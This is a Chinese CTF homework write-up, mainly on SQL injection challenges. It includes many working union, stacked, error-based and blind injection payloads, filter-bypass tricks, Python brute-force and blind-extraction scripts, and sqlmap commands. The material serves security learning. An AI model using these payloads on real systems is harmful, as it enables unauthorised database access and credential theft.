第三周作业

[强网杯 2019]随便注

先查看一下是什么注入,输入1'出现报错,说明是字符型注入,单引号闭合

然后查询列数,输入1' order by 3#时出现报错说明列数为3列

尝试联合注入,1' union select 1,2#,发现select被过滤

根据提示,想到堆叠注入,去了解了一下堆叠注入,大致原理就是:mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句。

还需要了解一下sql中show函数的使用:

复制代码
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。

先查看一下数据库,1' ;show database#,得到回显

再查看一下有哪些表,1';show tables#

得到两个表,先查看第一个表1'; show columns from `1919810931114514`#(这里要注意表名为数字时,要用反引号包起来查询)

发现flag,接下来就是查看flag,这里去找了大佬的,后面需要自己去理解一下

复制代码
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

1';HANDLER `1919810931114514` OPEN; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE;#

[SWPUCTF 2021 新生赛]sql

先查看是什么注入,输入?wllm=1';出现报错说明是字符型注入

输入?wllm=-1' or 1=1#发现存在过滤,过滤了空格和等号,这里我们使用/**/和like代替;测试长度,输入?wllm=1'/**/order/**/by/**/4%23出现报错

接下来基本就是联合注入,查一下回显?wllm=-1'/**/union/**/select/**/1,2,3%23

发现回显处在2和3,再查库?wllm=-1'/**/union/**/select/**/1,2,database()%23

得到库名,查询表名?wllm=-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

找到表名,flag应该在第一个表中,再查看一下第一个表,?wllm=-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

找到了flag所在的字段,最后查看flag的字段,?wllm=-1%27/**/union/**/select/**/1,group_concat(flag),mid(group_concat(flag),21)/**/from/**/LTLT_flag%23

发现得到的flag不全,原因是字段的位数长度不足,使用截断函数进行绕过,发现substr,right,REVERSE 被过滤,只能使用mid,

复制代码
?wllm=-1'union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag),21,41),mid((select/**/flag/**/from/**/LTLT_flag),42,62)%23

[极客大挑战 2019]EasySQL

这题很简单,我尝试了一下万能密码,flag就出来了

1 and 1=1

1' and '1'='1

1 or 1=1

1' or '1'='1

[UUCTF 2022 新生赛]ezsql

先用万能密钥测试一下,发现用户名其实是已知,说明注入点在password

还得到了闭合方式为')闭合且这里输入的payload被逆向,接下来就是查询显示的列数,在password处输入,发现or被过滤了,后尝试了发现过滤了or,from,where,这里我们可以采用双写绕过,#;2,1 tceles noinu )'nimda

再进行查库,#;2,)(esabatad tceles noinu )'nimda

得到数据库为UUCTF,然后查表名,#;)(esabatad=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda

发现flag的所在位置,再查询字段,#;'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda

最后就是查看flag,#;galf.FTCUU moorrf )FTCUU(tacnoc_puoorrg,)(esabatad tceles noinu )'nimda

[SWPUCTF 2022 新生赛]ez_sql

根据提示,尝试后发现是POST传参,先测试是什么类型

为字符型注入,后尝试and等,发现and,空格,or,union被过滤了

先判断列数,nss=-1'/**/oorrder/**/by/**/4#,出现报错,列数为3

采用联合注入,判断显示位,nss=-1'/**/ununionion/**/select/**/1,2,3#,发现没有回显

尝试访问下一行nss=-1'/**/ununionion/**/select/**/1,2,3/**/limit/**/1,1#,得到回显2和3;然后查询数据库,nss=-1'/**/ununionion/**/select/**/1,database(),(select/**/group_concat(schema_name)/**/from/**/infoorrmation_schema.schemata)/**/limit/**/1,1#

得到库名为NSS_db,查看表名nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1#

得到两个表,猜测flag在第一个表中,查询字段nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#

查看字段内容nss=-1'/**/ununionion/**/select/**/1,database(),group_concat(id,Secr3t,flll444g)/**/from/**/NSS_tb/**/limit/**/1,1#

得到flag

[SWPUCTF 2024 秋季新生赛]ez_sql

先测试类型,发现是字符型

联合注入,先爆库名-1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#

发现ctf,再爆表名-1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='ctf'#

爆列名-1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='ctf' and table_name='flag'#

最后查看flag,尝试多次发现flag在data中,-1' union select 1,2,group_concat(data),4 from flag#

[HNCTF 2022 WEEK2]easy_sql

这题考察WAF,用bp测试了一下,发现过滤了很多

复制代码
~
!
@
#
$
%
^
&
-
+
 
--
--+
&&
!(<>)
and
sleep
order
is
distinct
infomation
handler

先测试一下列数,1'/**/group/**/by/**/4,'1,出现报错,说明列数为3

再确定一下回显位置,1'/**/union/**/select/**/1,2,3/**/'1,回显位置为3

爆数据库,1'/**/union/**/select/**/1,2,database()/**/where/**/'1,库名为ctf

查询表名,1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1(这里由于information被过滤了,使用mysql.innodb_table_stats代替)

查询flag所在的表1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/table_name="flag"'

发现flag所在的表为ctftraining,最后就是查询flag在这个表里的列,1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1

直接得到了flag

[NISACTF 2022]hardsql

根据题目提示,得知用户名为bilala,注入点为password,尝试输入1' or 1=1#,发现被waf拦截

尝试发现好多字符被过滤,尝试爆破密码,去找了一下大佬的脚本

python 复制代码
import requests
import time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
    url = "http://1.14.71.254:28843/login.php"
    flag = ""
    Cookie = {'frontLang':'zh - cn',
    'frontDevice':'desktop',
    'theme' : 'default',
    'adminLang' : 'zh - cn',
    'adminDevice' : 'desktop',
    'currentGroup': 'design'
    }
    while(True):
        for i in alp:
            data = {
                'username': 'bilala',
                'passwd':f"1'or/**/passwd/**/like/**/'{flag+i}%'#"
            }
            res = requests.post(url=url,data=data)
            time.sleep(0.1)
            if "nothing found" not in res.text:
                flag+=i
                print(flag)
                break
            elif "~" in i:
                return
if __name__=='__main__':
    get_pass()

得到密码为b2f2d15b3ae082ca29697d8dcd420fd7,登录后得到源码

过滤的字符也都全部可以查看了,分析后得到,查询出来的passwd要和𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑强相等,且

passwor不等于b2f2d15b3ae082ca29697d8dcd420fd7,去查看了一下大佬的wp,构造payload

username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

得到flag

[October 2019]Twice SQL Injection

这题考察二次注入,先了解一下二次注入

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 "\" 进行转义,但是"\"并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

尝试了一下简单的sql语句,发现通过注册用户名将sql语句写入到数据中

先爆一下库,1' union select database()#,密码随意

爆表名,1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

得到表名,再查询列名,1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

复制代码

查看字段,1' union select flag from flag#、

得到flag

[MoeCTF 2022]Sqlmap_boy

查看源码发现sql语句,看出闭合方式是单引号和双引号' ",先使用万能密码登录

登陆成功后,先爆库

再爆表名

得到表名后,我们就可以进行爆字段

最后就是查看字段内容

还有就是使用sqlmap,再使用过程中,sqlmap会提醒使用cookie值

python 复制代码
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a --dbs
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" --tables
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" -D "moectf" -T "flag" --columns
sqlmap -u http://node5.anna.nssctf.cn:24071/secrets.php?id=1 --cookie=PHPSESSID=2465971995f9516feb997fcd0868d59a -D "moectf" -T "flag" -C "flAg" --dump

[GHCTF 2025]SQL???

先了解一下sqllite,SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。

就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。

基础语法

基础语法:

python 复制代码
# 数据库基础语法
sqlite3 sqltest.db           #sqlite的每一个数据库就是一个文件
#执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
sqlite> .databases             #判断数据库是否存在
sqlite> .open sqltest.db       #打开数据库
sqlite> .tables                #列出数据库中所有的表
sqlite> .schema test           #得到该表所使用的命令

#创建表,语句和mysql差不多,先进入sqlite>下
sqlite> create table test(
   ...> id INT PRIMARY KEY     NOT NULL,
   ...> name char(50) NOT NULL
   ...> );
#向表中插入数据
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
#查询语句
sqlite> select * from test;

#导入导出
sqlite3 testDB.db .dump > testDB.sql   #导出
sqlite3 testDB.db < testDB.sql         #导入


​

先判断一下字段?id=1 order by 5,在6时出现报错,但实际上注入时发现只有3段

再查表名,?id=1 union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---

得到表名,查看表内数据,?id=1 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag) ---

flag直接就出来了

[极客大挑战 2019]BabySQL

登录页面,尝试万能密码,失败,发现两个参数点;尝试后发现password可以进行sql注入。

先查看类型,1'出现报错,判断为单引号闭合

测试字段,发现or和by被过滤了, 使用双写绕过,1' oorrder bbyy 3--+

发现字段为3,查询回显位,发现union 和 select 被过滤,1' uniunionon selselectect 1,2,3--+

得到回显位,爆库,1' uniunionon selselectect 1,2,database()--+

库名为geek,再爆表,1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+

查询列名,1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+

列名id,username,password,最后查字段内容,1' uniunionon selselectect 1,2,(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

[极客大挑战 2019]FinalSQL

根据提示,页面给了五个按钮,依次点击尝试一下

发现注入点为id,尝试对id进行注入,这里采用布尔盲注:id=1^1和id=1^0

没办法了,只能去查看大佬的wp,根据这个原理,构造类似这样的payload,id=1^(ascii(substr((select(database())),1,1))>100)

找到大佬的脚本

python 复制代码
import requests
import sys
import time
 
#判断数据库名长度
def get_DBlen(url):
    for i in range(1,10):
        db_url = url+"1^1^(length(database())=%d)#"%i
        r = requests.get(db_url)
        if "Click" in r.text:
            print("数据库名称的长度为:%d"%i)
            return i
#爆数据库名
def get_DBname(url,length):
    DBname = ""
    length = length + 1
    for i in range(1,length):
        Max = 122
        Min = 41
        Mid = (Max+Min)//2
        while Min <= Max:
            db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max = Mid-1
                Mid = (Min+Max)//2
                pass
            pass
        DBname = DBname + chr(Mid)
    print("数据库名:",DBname)
    return DBname
 
def get_TBname(url):
    name=""
    i = 0
    print("字段内容为:")
    while True:
        i = i+1
        Max = 128
        Min = 32
        Mid = (Max+Min)//2
        while Min <= Max:
            # 爆表名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
            # 爆字段名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
            # 获取flag
            db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max=Mid-1
                Mid=(Min+Max)//2
                pass
            pass
        name=name+chr(Mid)
        if Mid == 31:
            break
        print(name)
    #速度太快显示不完全
        time.sleep(0.5)
 
 
if __name__=="__main__":
    url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
    db_Len = get_DBlen(url)
    db_Name = get_DBname(url,db_Len)
    tb_name = get_TBname(url)

运行后就能得到flag

[极客大挑战 2019]HardSQL

这题与上题一样还是password为注入点,发现存在过滤,使用bp爆一下发现很多字符=、--+、/**/和一些注入命令union、by等被过滤

先查看注入类型,为字符型注入

进行爆库,1'or(extractvalue(1,concat(0x5e,(database()),0x5e)))%23

得到库名为geek,再获取表名,1'or(extractvalue(1,concat(0x5e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x5e)))%23

得到表名为H4rDsq1,然后再获取字段名1%27or(extractvalue(1,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x5e)))%23

最后就是查看字段内容,1'or(updatexml(1,concat(0x7e,(select(left(password,33))from(H4rDsq1)),0x7e),1))%23

发现只有一半,再去查看另一半,1'or(updatexml(1,concat(0x7e,(select(right(password,26))from(H4rDsq1)),0x7e),1))%23

[GXYCTF2019]BabySQli

这题给了源码,我们先分析一下源码

python 复制代码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<!-- Base32编码的数据,可能是某种标识或密钥 -->

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<!-- 页面标题,暗示可能需要识别身份 -->

<?php
require "config.php";      // 引入数据库配置文件
require "flag.php";        // 引入flag文件,包含$flag变量

// 去除转义 - 如果开启了魔术引号,则清除转义字符
if (get_magic_quotes_gpc()) {  // 检查是否开启魔术引号(旧版PHP安全特性)
    function stripslashes_deep($value)  // 递归去除转义函数
    {
        $value = is_array($value) ?  // 判断是否为数组
        array_map('stripslashes_deep', $value) :  // 递归处理数组
        stripslashes($value);  // 处理字符串
        return $value;
    }
 
    // 递归去除所有输入数组中的转义
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
 
mysqli_query($con,'SET NAMES UTF8');  // 设置数据库字符集
$name = $_POST['name'];     // 获取POST参数name
$password = $_POST['pw'];   // 获取POST参数pw
$t_pw = md5($password);     // 计算密码的MD5值(但未使用)
$sql = "select * from user where username = '".$name."'";  // 拼接SQL查询
// echo $sql;  // 被注释掉的SQL语句输出,可用于SQL注入调试
 
$result = mysqli_query($con, $sql);  // 执行SQL查询
 
 
if(preg_match("/\(|\)|\=|or/", $name)){  // 检查用户名是否包含(、)、=、or
    die("do not hack me!");  // 如果包含则终止并输出错误
}
else{  // 用户名不包含黑名单字符
    if (!$result) {  // 如果SQL查询失败
        printf("Error: %s\n", mysqli_error($con));  // 打印SQL错误
        exit();
    }
    else{  // SQL查询成功
        // echo '<pre>';  // 被注释掉的调试输出
        $arr = mysqli_fetch_row($result);  // 获取查询结果行
        // print_r($arr);  // 被注释掉的数组打印
        if($arr[1] == "admin"){  // 检查第二列是否为admin(假设[0]是id,[1]是用户名)
            if(md5($password) == $arr[2]){  // 验证密码的MD5值是否匹配第三列
                echo $flag;  // 验证成功,输出flag
            }
            else{  // 密码不匹配
                die("wrong pass!");
            }
        }
        else{  // 用户名不是admin
            die("wrong user!");
        }
    }
}
 
?>

开头第一行需要先进行base32解密,再进行base64解密,解密后得到

python 复制代码
select * from user where username = '$name'

说明注入点为name,从代码可以看出,name和pw参数分别存储在password中,t_pw存储经过md5加密后的password,result存储经过sql查询返回的数据,还进行了一些字符的过滤,最重要的是result转换成数组的形式,然后经过两个if判断,第一个if判断arr的第一个数组是否等于admin,第二个if判断arr的第二个数组是否等于password经过md5加密后的值。

先查看注入类型,发现为字符类型

再测试字段数,-1' union select 1,2,3,4#,到四时出现报错,说明字段数为3

其中根据源码,三段中有一段为admin,经过测试后发现2为admin,1' union select 1,'admin,3#

最后就是构造payload,查看flag,name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1;这里3处填的是密码的MD5值

reverse1

这题以前已经做过了,先用IDA打开,发现没有什么主要的信息,使用strings查看一下

发现有关flag的信息,点击进去

发现重要字符串,用x查看有关该字符串的函数

发现rcx函数,用F5查看伪代码

点击str2,进去后发现flag

sandbox

先使用file和checksec查看,发现开启了canary和nx保护。

用IDA打开附件,发现box函数,发现不能输入cat flag

还发现我们不可以输入'sh','cat','flag',那我们需要对其进行绕过,去查找了一下pwm的绕过方法,发现可以利用0进行绕过,0等效'sh' 'bin/sh'进行提权,就可以拿到flag了(我这里kali出了点问题,就不展示了)

你竟然赶我走

这题也是以前做过的,使用stegsolve打开图片,打开File Format(文件格式),就可以得到flag

[SWPUCTF 2021 新生赛]ez_caesar

看str的形式有点像base64,先用base64解密、

再用凯撒密码解密,偏移量为5(试出来的)

或者用随波逐流梭哈

二维码

这题也是做过的,用010或stegsolve打开图片,查看发现图片中隐藏了一个压缩包

然后可以用kali中的binwalk的方式分离文件了,或者嫌麻烦可以直接使用随波逐流中的binwalk

提取后是一个加密的zip,直接使用随波逐流的暴力破解

复制代码
相关推荐
Root_Hacker2 小时前
sql注入学习笔记
数据库·sql·web安全·网络安全·oracle·网络攻击模型
IT邦德2 小时前
基于OEL8环境的图形化部署Oracle26ai
数据库·oracle
一心赚狗粮的宇叔2 小时前
mongosDb 安装及Mongosshell常见命令
数据库·mongodb·oracle·nosql·web·全栈
naruto_lnq2 小时前
Python生成器(Generator)与Yield关键字:惰性求值之美
jvm·数据库·python
墨黎芜3 小时前
SQL Server从入门到精通——C#与数据库
数据库·学习·信息可视化
爱学习的阿磊3 小时前
持续集成/持续部署(CI/CD) for Python
jvm·数据库·python
一个响当当的名号3 小时前
lectrue10 排序和聚合算法
数据库